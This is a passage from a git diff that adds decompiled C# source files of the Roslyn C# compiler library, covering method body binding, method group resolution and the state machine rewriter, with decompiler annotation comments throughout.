variableSlotAllocatorOpt.PreviousAwaiterSlotCount; + while (instance2.Count < previousAwaiterSlotCount) + { + instance2.Add((ITypeReference)null); + } + int previousHoistedLocalSlotCount = variableSlotAllocatorOpt.PreviousHoistedLocalSlotCount; + while (instance.Count < previousHoistedLocalSlotCount) + { + instance.Add(new EncHoistedLocalInfo(true)); + } + } + hoistedVariableSlots = instance.ToImmutableAndFree(); + awaiterSlots = instance2.ToImmutableAndFree(); + } + + internal static BoundBlock? BindSynthesizedMethodBody(MethodSymbol method, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + ImportChain importChain; + bool originalBodyNested; + bool prependedDefaultValueTypeConstructorInitializer; + MethodBodySemanticModel.InitialState forSemanticModel; + return BindMethodBody(method, compilationState, diagnostics, includeInitializersInBody: false, null, reportNullableDiagnostics: true, out importChain, out originalBodyNested, out prependedDefaultValueTypeConstructorInitializer, out forSemanticModel); + } + + private static BoundBlock? BindMethodBody(MethodSymbol method, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics, bool includeInitializersInBody, BoundNode? initializersBody, bool reportNullableDiagnostics, out ImportChain? importChain, out bool originalBodyNested, out bool prependedDefaultValueTypeConstructorInitializer, out MethodBodySemanticModel.InitialState forSemanticModel) + { + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Invalid comparison between Unknown and I4 + //IL_0448: Unknown result type (might be due to invalid IL or missing references) + //IL_044e: Invalid comparison between Unknown and I4 + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_01b8: Unknown result type (might be due to invalid IL or missing references) + originalBodyNested = false; + prependedDefaultValueTypeConstructorInitializer = false; + importChain = null; + forSemanticModel = default(MethodBodySemanticModel.InitialState); + NullableWalker.VariableState variableState = null; + if (initializersBody == null) + { + initializersBody = GetSynthesizedEmptyBody(method); + } + NullableWalker.VariableState finalNullableState; + BoundBlock boundBlock; + if (method is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor && method.ContainingType.IsStructType()) + { + boundBlock = BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)synthesizedPrimaryConstructor.GetSyntax()); + variableState = getInitializerState(boundBlock); + } + else if (method is SourceMemberMethodSymbol { SyntaxNode: var syntaxNode } sourceMemberMethodSymbol) + { + if ((int)method.MethodKind == 14 && syntaxNode is ConstructorDeclarationSyntax { Initializer: not null } constructorDeclarationSyntax) + { + BindingDiagnosticBag bindingDiagnosticBag = diagnostics; + SyntaxToken val = constructorDeclarationSyntax.Initializer.ThisOrBaseKeyword; + Location location = ((SyntaxToken)(ref val)).GetLocation(); + object[] array = new object[1]; + val = constructorDeclarationSyntax.Identifier; + array[0] = ((SyntaxToken)(ref val)).ValueText; + bindingDiagnosticBag.Add(ErrorCode.ERR_StaticConstructorWithExplicitConstructorCall, location, array); + } + if (sourceMemberMethodSymbol.IsExtern) + { + return null; + } + Binder binder = sourceMemberMethodSymbol.TryGetBodyBinder(); + if (binder == null) + { + if (sourceMemberMethodSymbol.AssociatedSymbol is SourcePropertySymbolBase { IsAutoPropertyWithGetAccessor: not false }) + { + return MethodBodySynthesizer.ConstructAutoPropertyAccessorBody(sourceMemberMethodSymbol); + } + return null; + } + importChain = binder.ImportChain; + BoundNode boundNode = binder.BindMethodBody(syntaxNode, diagnostics); + BoundNode bodyOpt = boundNode; + NullableWalker.SnapshotManager snapshotManager = null; + ImmutableDictionary remappedSymbols = null; + CSharpCompilation compilation = binder.Compilation; + variableState = getInitializerState(boundNode); + if (reportNullableDiagnostics) + { + if (compilation.IsNullableAnalysisEnabledIn(method)) + { + bool flag = compilation.LanguageVersion >= MessageID.IDS_FeatureNullableReferenceTypes.RequiredVersion(); + bodyOpt = NullableWalker.AnalyzeAndRewrite(compilation, method, boundNode, binder, variableState, (DiagnosticBag)(flag ? ((object)((BindingDiagnosticBag)diagnostics).DiagnosticBag) : ((object)new DiagnosticBag())), createSnapshots: true, out snapshotManager, ref remappedSymbols); + } + else + { + NullableWalker.AnalyzeIfNeeded(compilation, method, boundNode, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, useConstructorExitWarnings: true, variableState, getFinalNullableState: false, null, out finalNullableState); + } + } + forSemanticModel = new MethodBodySemanticModel.InitialState(syntaxNode, bodyOpt, binder, snapshotManager, remappedSymbols); + RefSafetyAnalysis.Analyze(compilation, method, boundNode, diagnostics); + switch (boundNode.Kind) + { + case BoundKind.ConstructorMethodBody: + { + BoundConstructorMethodBody boundConstructorMethodBody = (BoundConstructorMethodBody)boundNode; + boundBlock = boundConstructorMethodBody.BlockBody ?? boundConstructorMethodBody.ExpressionBody; + if (boundConstructorMethodBody.Initializer is BoundExpressionStatement boundExpressionStatement) + { + ReportCtorInitializerCycles(method, boundExpressionStatement.Expression, compilationState, diagnostics); + if (boundBlock == null) + { + boundBlock = new BoundBlock(boundConstructorMethodBody.Syntax, boundConstructorMethodBody.Locals, ImmutableArray.Create(boundConstructorMethodBody.Initializer)); + } + else + { + boundBlock = new BoundBlock(boundConstructorMethodBody.Syntax, boundConstructorMethodBody.Locals, ImmutableArray.Create(boundConstructorMethodBody.Initializer, boundBlock)); + originalBodyNested = true; + int num; + if (boundExpressionStatement.Expression is BoundCall boundCall) + { + MethodSymbol method2 = boundCall.Method; + num = (method2.IsDefaultValueTypeConstructor() ? 1 : 0); + } + else + { + num = 0; + } + prependedDefaultValueTypeConstructorInitializer = (byte)num != 0; + } + } + return boundBlock; + } + case BoundKind.NonConstructorMethodBody: + { + BoundNonConstructorMethodBody boundNonConstructorMethodBody = (BoundNonConstructorMethodBody)boundNode; + boundBlock = boundNonConstructorMethodBody.BlockBody ?? boundNonConstructorMethodBody.ExpressionBody; + break; + } + case BoundKind.Block: + boundBlock = (BoundBlock)boundNode; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)boundNode.Kind); + } + } + else if (method is SynthesizedInstanceConstructor synthesizedInstanceConstructor) + { + CSharpSyntaxNode nonNullSyntaxNode = synthesizedInstanceConstructor.GetNonNullSyntaxNode(); + SyntheticBoundNodeFactory factory = new SyntheticBoundNodeFactory(synthesizedInstanceConstructor, (SyntaxNode)(object)nonNullSyntaxNode, compilationState, diagnostics); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + synthesizedInstanceConstructor.GenerateMethodBodyStatements(factory, instance, diagnostics); + boundBlock = BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)nonNullSyntaxNode, instance.ToImmutableAndFree()); + variableState = getInitializerState(boundBlock); + } + else + { + boundBlock = null; + variableState = getInitializerState(null); + } + if (reportNullableDiagnostics && method.IsConstructor() && method.IsImplicitlyDeclared && variableState != null) + { + NullableWalker.AnalyzeIfNeeded(compilationState.Compilation, method, boundBlock ?? GetSynthesizedEmptyBody(method), ((BindingDiagnosticBag)diagnostics).DiagnosticBag, useConstructorExitWarnings: true, variableState, getFinalNullableState: false, null, out finalNullableState); + } + if ((int)method.MethodKind == 4 && boundBlock != null) + { + return MethodBodySynthesizer.ConstructDestructorBody(method, boundBlock); + } + BoundStatement boundStatement = BindImplicitConstructorInitializerIfAny(method, compilationState, diagnostics); + ImmutableArray statements; + if (boundStatement == null) + { + if (boundBlock != null) + { + return boundBlock; + } + statements = ImmutableArray.Empty; + } + else if (boundBlock == null) + { + statements = ImmutableArray.Create(boundStatement); + } + else + { + statements = ImmutableArray.Create(boundStatement, boundBlock); + originalBodyNested = true; + } + return BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)method.GetNonNullSyntaxNode(), statements); + NullableWalker.VariableState? getInitializerState(BoundNode? body) + { + if (reportNullableDiagnostics && includeInitializersInBody) + { + return NullableWalker.GetAfterInitializersState(compilationState.Compilation, method, initializersBody, body, diagnostics); + } + return null; + } + } + + private static BoundBlock GetSynthesizedEmptyBody(Symbol symbol) + { + return BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)symbol.GetNonNullSyntaxNode()); + } + + private static BoundStatement BindImplicitConstructorInitializerIfAny(MethodSymbol method, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)method.MethodKind == 1 && !method.IsExtern) + { + CSharpCompilation declaringCompilation = method.DeclaringCompilation; + BoundExpression boundExpression = Binder.BindImplicitConstructorInitializer(method, diagnostics, declaringCompilation); + if (boundExpression != null) + { + ReportCtorInitializerCycles(method, boundExpression, compilationState, diagnostics); + return new BoundExpressionStatement(boundExpression.Syntax, boundExpression) + { + WasCompilerGenerated = method.IsImplicitlyDeclared + }; + } + } + return null; + } + + private static void ReportCtorInitializerCycles(MethodSymbol method, BoundExpression initializerInvocation, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + if (initializerInvocation is BoundCall { HasAnyErrors: false } boundCall && boundCall.Method != method && TypeSymbol.Equals(boundCall.Method.ContainingType, method.ContainingType, (TypeCompareKind)0)) + { + compilationState.ReportCtorInitializerCycles(method, boundCall.Method, boundCall.Syntax, diagnostics); + } + } + + private static DebugSourceDocument CreateDebugDocumentForFile(string normalizedPath) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Expected O, but got Unknown + return new DebugSourceDocument(normalizedPath, DebugSourceDocument.CorSymLanguageTypeCSharp); + } + + private static bool PassesFilter(Predicate filterOpt, Symbol symbol) + { + return filterOpt?.Invoke(symbol) ?? true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodGroup.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodGroup.cs new file mode 100644 index 0000000..51e8e96 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodGroup.cs @@ -0,0 +1,129 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class MethodGroup +{ + public static readonly ObjectPool Pool = CreatePool(); + + internal BoundExpression Receiver { get; private set; } + + internal ArrayBuilder Methods { get; } + + internal ArrayBuilder TypeArguments { get; } + + internal bool IsExtensionMethodGroup { get; private set; } + + internal DiagnosticInfo Error { get; private set; } + + internal LookupResultKind ResultKind { get; private set; } + + public string Name + { + get + { + if (Methods.Count <= 0) + { + return null; + } + return Methods[0].Name; + } + } + + public BoundExpression InstanceOpt + { + get + { + if (Receiver == null) + { + return null; + } + if (Receiver.Kind == BoundKind.TypeExpression) + { + return null; + } + return Receiver; + } + } + + private MethodGroup() + { + Methods = new ArrayBuilder(); + TypeArguments = new ArrayBuilder(); + } + + internal void PopulateWithSingleMethod(BoundExpression receiverOpt, MethodSymbol method, LookupResultKind resultKind = LookupResultKind.Viable, DiagnosticInfo error = null) + { + PopulateHelper(receiverOpt, resultKind, error); + Methods.Add(method); + } + + internal void PopulateWithExtensionMethods(BoundExpression receiverOpt, ArrayBuilder members, ImmutableArray typeArguments, LookupResultKind resultKind = LookupResultKind.Viable, DiagnosticInfo error = null) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + PopulateHelper(receiverOpt, resultKind, error); + IsExtensionMethodGroup = true; + Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + Methods.Add((MethodSymbol)current); + } + if (!typeArguments.IsDefault) + { + TypeArguments.AddRange(typeArguments); + } + } + + internal void PopulateWithNonExtensionMethods(BoundExpression receiverOpt, ImmutableArray methods, ImmutableArray typeArguments, LookupResultKind resultKind = LookupResultKind.Viable, DiagnosticInfo error = null) + { + PopulateHelper(receiverOpt, resultKind, error); + Methods.AddRange(methods); + if (!typeArguments.IsDefault) + { + TypeArguments.AddRange(typeArguments); + } + } + + private void PopulateHelper(BoundExpression receiverOpt, LookupResultKind resultKind, DiagnosticInfo error) + { + Receiver = receiverOpt; + Error = error; + ResultKind = resultKind; + } + + public void Clear() + { + Receiver = null; + Methods.Clear(); + TypeArguments.Clear(); + IsExtensionMethodGroup = false; + Error = null; + ResultKind = LookupResultKind.Empty; + } + + [Conditional("DEBUG")] + private void VerifyClear() + { + } + + public static MethodGroup GetInstance() + { + return Pool.Allocate(); + } + + public void Free() + { + Clear(); + Pool.Free(this); + } + + private static ObjectPool CreatePool() + { + return new ObjectPool((Factory)(() => new MethodGroup()), 10, true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodGroupResolution.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodGroupResolution.cs new file mode 100644 index 0000000..7f368b3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodGroupResolution.cs @@ -0,0 +1,106 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct MethodGroupResolution +{ + public readonly MethodGroup MethodGroup; + + public readonly Symbol OtherSymbol; + + public readonly OverloadResolutionResult OverloadResolutionResult; + + public readonly AnalyzedArguments AnalyzedArguments; + + public readonly ImmutableBindingDiagnostic Diagnostics; + + public readonly LookupResultKind ResultKind; + + public bool IsEmpty + { + get + { + if (MethodGroup == null) + { + return (object)OtherSymbol == null; + } + return false; + } + } + + public bool HasAnyErrors => ImmutableArrayExtensions.HasAnyErrors(Diagnostics.Diagnostics); + + public bool HasAnyApplicableMethod + { + get + { + if (MethodGroup != null && ResultKind == LookupResultKind.Viable) + { + if (OverloadResolutionResult != null) + { + return OverloadResolutionResult.HasAnyApplicableMember; + } + return true; + } + return false; + } + } + + public bool IsExtensionMethodGroup + { + get + { + if (MethodGroup != null) + { + return MethodGroup.IsExtensionMethodGroup; + } + return false; + } + } + + public bool IsLocalFunctionInvocation + { + get + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + MethodGroup methodGroup = MethodGroup; + if (methodGroup != null && methodGroup.Methods.Count == 1) + { + return (int)MethodGroup.Methods[0].MethodKind == 17; + } + return false; + } + } + + public MethodGroupResolution(MethodGroup methodGroup, ImmutableBindingDiagnostic diagnostics) + : this(methodGroup, null, null, null, methodGroup.ResultKind, diagnostics) + { + }//IL_000b: Unknown result type (might be due to invalid IL or missing references) + + + public MethodGroupResolution(Symbol otherSymbol, LookupResultKind resultKind, ImmutableBindingDiagnostic diagnostics) + : this(null, otherSymbol, null, null, resultKind, diagnostics) + { + }//IL_0006: Unknown result type (might be due to invalid IL or missing references) + + + public MethodGroupResolution(MethodGroup methodGroup, Symbol otherSymbol, OverloadResolutionResult overloadResolutionResult, AnalyzedArguments analyzedArguments, LookupResultKind resultKind, ImmutableBindingDiagnostic diagnostics) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + MethodGroup = methodGroup; + OtherSymbol = otherSymbol; + OverloadResolutionResult = overloadResolutionResult; + AnalyzedArguments = analyzedArguments; + ResultKind = resultKind; + Diagnostics = diagnostics; + } + + public void Free() + { + AnalyzedArguments?.Free(); + MethodGroup?.Free(); + OverloadResolutionResult?.Free(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodToStateMachineRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodToStateMachineRewriter.cs new file mode 100644 index 0000000..72c8946 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodToStateMachineRewriter.cs @@ -0,0 +1,706 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class MethodToStateMachineRewriter : MethodToClassRewriter +{ + internal readonly MethodSymbol OriginalMethod; + + protected readonly SyntheticBoundNodeFactory F; + + protected readonly FieldSymbol stateField; + + protected readonly LocalSymbol cachedState; + + protected readonly LocalSymbol? cachedThis; + + protected readonly FieldSymbol? instanceIdField; + + private readonly ResumableStateMachineStateAllocator _resumableStateAllocator; + + private Dictionary> _dispatches = new Dictionary>(); + + private Dictionary>? _lazyAvailableReusableHoistedFields; + + private int _nextHoistedFieldId = 1; + + private readonly EmptyStructTypeCache _emptyStructTypeCache = EmptyStructTypeCache.CreateNeverEmpty(); + + private readonly IReadOnlySet _hoistedVariables; + + private readonly SynthesizedLocalOrdinalsDispenser _synthesizedLocalOrdinals; + + private int _nextFreeHoistedLocalSlot; + + private readonly ArrayBuilder _stateDebugInfoBuilder; + + protected BoundBlockInstrumentation? instrumentation; + + protected abstract StateMachineState FirstIncreasingResumableState { get; } + + protected abstract string EncMissingStateMessage { get; } + + protected override TypeMap TypeMap => ((SynthesizedContainer)F.CurrentType).TypeMap; + + protected override MethodSymbol CurrentMethod => F.CurrentFunction; + + protected override NamedTypeSymbol ContainingType => OriginalMethod.ContainingType; + + internal IReadOnlySet HoistedVariables => _hoistedVariables; + + public MethodToStateMachineRewriter(SyntheticBoundNodeFactory F, MethodSymbol originalMethod, FieldSymbol state, FieldSymbol? instanceIdField, IReadOnlySet hoistedVariables, IReadOnlyDictionary nonReusableLocalProxies, SynthesizedLocalOrdinalsDispenser synthesizedLocalOrdinals, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator? slotAllocatorOpt, int nextFreeHoistedLocalSlot, BindingDiagnosticBag diagnostics) + : base(slotAllocatorOpt, F.CompilationState, diagnostics) + { + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + //IL_0123: Invalid comparison between Unknown and I4 + this.F = F; + stateField = state; + this.instanceIdField = instanceIdField; + cachedState = F.SynthesizedLocal(F.SpecialType((SpecialType)13), F.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)27); + OriginalMethod = originalMethod; + _hoistedVariables = hoistedVariables; + _synthesizedLocalOrdinals = synthesizedLocalOrdinals; + _nextFreeHoistedLocalSlot = nextFreeHoistedLocalSlot; + foreach (KeyValuePair nonReusableLocalProxy in nonReusableLocalProxies) + { + proxies.Add(nonReusableLocalProxy.Key, nonReusableLocalProxy.Value); + } + ParameterSymbol thisParameter = originalMethod.ThisParameter; + if ((object)thisParameter != null && thisParameter.Type.IsReferenceType && proxies.TryGetValue(thisParameter, out CapturedSymbolReplacement value) && (int)((CompilationOptions)F.Compilation.Options).OptimizationLevel == 1) + { + BoundExpression boundExpression = value.Replacement(F.Syntax, (NamedTypeSymbol frameType) => F.This()); + cachedThis = F.SynthesizedLocal(boundExpression.Type, F.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-5)); + } + _stateDebugInfoBuilder = stateMachineStateDebugInfoBuilder; + _resumableStateAllocator = new ResumableStateMachineStateAllocator(slotAllocatorOpt, FirstIncreasingResumableState, increasing: true); + } + + protected abstract BoundStatement GenerateReturn(bool finished); + + protected override bool NeedsProxy(Symbol localOrParameter) + { + return _hoistedVariables.Contains(localOrParameter); + } + + protected override BoundExpression FramePointer(SyntaxNode syntax, NamedTypeSymbol frameClass) + { + SyntaxNode syntax2 = F.Syntax; + F.Syntax = syntax; + BoundThisReference result = F.This(); + F.Syntax = syntax2; + return result; + } + + protected void AddResumableState(SyntaxNode awaitOrYieldReturnSyntax, AwaitDebugId awaitId, out StateMachineState state, out GeneratedLabelSymbol resumeLabel) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + AddResumableState(_resumableStateAllocator, awaitOrYieldReturnSyntax, awaitId, out state, out resumeLabel); + } + + protected void AddResumableState(ResumableStateMachineStateAllocator allocator, SyntaxNode awaitOrYieldReturnSyntax, AwaitDebugId awaitId, out StateMachineState stateNumber, out GeneratedLabelSymbol resumeLabel) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Expected I4, but got Unknown + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + stateNumber = (StateMachineState)(int)allocator.AllocateState(awaitOrYieldReturnSyntax, awaitId); + AddStateDebugInfo(awaitOrYieldReturnSyntax, awaitId, stateNumber); + AddState(stateNumber, out resumeLabel); + } + + protected void AddStateDebugInfo(SyntaxNode node, AwaitDebugId awaitId, StateMachineState state) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + int num = CurrentMethod.CalculateLocalSyntaxOffset(node.SpanStart, node.SyntaxTree); + _stateDebugInfoBuilder.Add(new StateMachineStateDebugInfo(num, awaitId, state)); + } + + protected void AddState(StateMachineState stateNumber, out GeneratedLabelSymbol resumeLabel) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + if (_dispatches == null) + { + _dispatches = new Dictionary>(); + } + resumeLabel = F.GenerateLabel("stateMachine"); + _dispatches.Add(resumeLabel, new List { stateNumber }); + } + + protected BoundStatement Dispatch(bool isOutermost) + { + IEnumerable items = _dispatches.OrderBy>, StateMachineState>(delegate(KeyValuePair> kv) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + KeyValuePair> keyValuePair = kv; + return keyValuePair.Value[0]; + }).Select(delegate(KeyValuePair> kv) + { + SyntheticBoundNodeFactory f = F; + KeyValuePair> keyValuePair = kv; + ImmutableArray values = EnumerableExtensions.SelectAsArray((IReadOnlyCollection)keyValuePair.Value, (Func)((StateMachineState state) => (int)state)); + BoundStatement[] array = new BoundStatement[1]; + SyntheticBoundNodeFactory f2 = F; + keyValuePair = kv; + array[0] = f2.Goto(keyValuePair.Key); + return f.SwitchSection(values, array); + }); + BoundStatement boundStatement = F.Switch(F.Local(cachedState), items.ToImmutableArray()); + if (isOutermost) + { + BoundStatement boundStatement2 = GenerateMissingStateDispatch(); + if (boundStatement2 != null) + { + boundStatement = F.Block(boundStatement, boundStatement2); + } + } + return boundStatement; + } + + protected virtual BoundStatement? GenerateMissingStateDispatch() + { + return _resumableStateAllocator.GenerateThrowMissingStateDispatch(F, F.Local(cachedState), EncMissingStateMessage); + } + + private BoundStatement PossibleIteratorScope(ImmutableArray locals, Func wrapped) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Invalid comparison between Unknown and I4 + if (locals.IsDefaultOrEmpty) + { + return wrapped(); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (!NeedsProxy(current) || (int)current.RefKind != 0) + { + continue; + } + bool reused = false; + if (!proxies.TryGetValue(current, out CapturedSymbolReplacement value)) + { + value = new CapturedToStateMachineFieldReplacement(GetOrAllocateReusableHoistedField(TypeMap.SubstituteType(current.Type).Type, out reused, current), isReusable: true); + proxies.Add(current, value); + } + if ((int)current.SynthesizedKind == 0) + { + SyntaxNode scopeDesignatorOpt = current.ScopeDesignatorOpt; + if (scopeDesignatorOpt == null || scopeDesignatorOpt.Kind() != SyntaxKind.SwitchSection) + { + goto IL_00c8; + } + } + if ((int)current.SynthesizedKind != 30) + { + continue; + } + goto IL_00c8; + IL_00c8: + if (!reused) + { + instance.Add(((CapturedToStateMachineFieldReplacement)value).HoistedField); + } + } + BoundStatement boundStatement = wrapped(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current2 = enumerator.Current; + if (!proxies.TryGetValue(current2, out CapturedSymbolReplacement value2)) + { + continue; + } + if (value2 is CapturedToStateMachineFieldReplacement capturedToStateMachineFieldReplacement) + { + AddVariableCleanup(instance2, capturedToStateMachineFieldReplacement.HoistedField); + if (value2.IsReusable) + { + FreeReusableHoistedField(capturedToStateMachineFieldReplacement.HoistedField); + } + continue; + } + ImmutableArray.Enumerator enumerator2 = ((CapturedToExpressionSymbolReplacement)value2).HoistedFields.GetEnumerator(); + while (enumerator2.MoveNext()) + { + StateMachineFieldSymbol current3 = enumerator2.Current; + AddVariableCleanup(instance2, current3); + if (value2.IsReusable) + { + FreeReusableHoistedField(current3); + } + } + } + if (instance2.Count != 0) + { + boundStatement = F.Block(boundStatement, F.Block(ArrayBuilderExtensions.SelectAsArray(instance2, (Func)((BoundExpression e, SyntheticBoundNodeFactory f) => f.ExpressionStatement(e)), F))); + } + instance2.Free(); + if (instance.Count != 0) + { + boundStatement = MakeStateMachineScope(instance.ToImmutable(), boundStatement); + } + instance.Free(); + return boundStatement; + } + + internal BoundBlock MakeStateMachineScope(ImmutableArray hoistedLocals, BoundStatement statement) + { + return F.Block(new BoundStateMachineScope(F.Syntax, hoistedLocals, statement)); + } + + internal static bool TryUnwrapBoundStateMachineScope(ref BoundStatement statement, out ImmutableArray hoistedLocals) + { + if (statement.Kind == BoundKind.Block) + { + ImmutableArray statements = ((BoundBlock)statement).Statements; + if (statements.Length == 1 && statements[0].Kind == BoundKind.StateMachineScope) + { + BoundStateMachineScope boundStateMachineScope = (BoundStateMachineScope)statements[0]; + statement = boundStateMachineScope.Statement; + hoistedLocals = boundStateMachineScope.Fields; + return true; + } + } + hoistedLocals = ImmutableArray.Empty; + return false; + } + + private void AddVariableCleanup(ArrayBuilder cleanup, FieldSymbol field) + { + if (MightContainReferences(field.Type)) + { + cleanup.Add(F.AssignmentExpression(F.Field(F.This(), field), F.NullOrDefault(field.Type))); + } + } + + private bool MightContainReferences(TypeSymbol type) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (type.IsReferenceType || (int)type.TypeKind == 11) + { + return true; + } + if ((int)type.TypeKind != 10) + { + return false; + } + if ((int)type.SpecialType == 36) + { + return true; + } + if ((int)type.SpecialType != 0) + { + return false; + } + if (!type.IsFromCompilation(((PEModuleBuilder)CompilationState.ModuleBuilderOpt).Compilation)) + { + return true; + } + foreach (FieldSymbol structInstanceField in _emptyStructTypeCache.GetStructInstanceFields(type)) + { + if (MightContainReferences(structInstanceField.Type)) + { + return true; + } + } + return false; + } + + private StateMachineFieldSymbol GetOrAllocateReusableHoistedField(TypeSymbol type, out bool reused, LocalSymbol local = null) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + if (_lazyAvailableReusableHoistedFields != null && _lazyAvailableReusableHoistedFields.TryGetValue(type, out ArrayBuilder value) && value.Count > 0) + { + StateMachineFieldSymbol result = value.Last(); + value.RemoveLast(); + reused = true; + return result; + } + reused = false; + int num = _nextHoistedFieldId++; + if ((object)local != null && (int)local.SynthesizedKind == 0) + { + string name = GeneratedNames.MakeHoistedLocalFieldName((SynthesizedLocalKind)0, num, local.Name); + return F.StateMachineField(type, name, (SynthesizedLocalKind)0, num); + } + return F.StateMachineField(type, GeneratedNames.ReusableHoistedLocalFieldName(num)); + } + + private void FreeReusableHoistedField(StateMachineFieldSymbol field) + { + if (_lazyAvailableReusableHoistedFields == null || !_lazyAvailableReusableHoistedFields.TryGetValue(field.Type, out ArrayBuilder value)) + { + if (_lazyAvailableReusableHoistedFields == null) + { + _lazyAvailableReusableHoistedFields = new Dictionary>(SymbolEqualityComparer.IgnoringDynamicTupleNamesAndNullability); + } + _lazyAvailableReusableHoistedFields.Add(field.Type, value = new ArrayBuilder()); + } + value.Add(field); + } + + private BoundExpression HoistRefInitialization(SynthesizedLocal local, BoundAssignmentOperator node) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expr = (BoundExpression)Visit(node.Right); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool needsSacrificialEvaluation = false; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + SyntaxNode val; + int syntaxOffset; + if ((int)((CompilationOptions)F.Compilation.Options).OptimizationLevel == 0) + { + val = local.GetDeclaratorSyntax(); + syntaxOffset = OriginalMethod.CalculateLocalSyntaxOffset(LambdaUtilities.GetDeclaratorPosition(val), val.SyntaxTree); + } + else + { + val = null; + syntaxOffset = -1; + } + BoundExpression boundExpression = HoistExpression(expr, val, syntaxOffset, local.RefKind, instance, instance2, ref needsSacrificialEvaluation); + proxies.Add(local, new CapturedToExpressionSymbolReplacement(boundExpression, instance2.ToImmutableAndFree(), isReusable: true)); + if (needsSacrificialEvaluation) + { + TypeSymbol type = TypeMap.SubstituteType(local.Type).Type; + LocalSymbol localSymbol = F.SynthesizedLocal(type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)1, 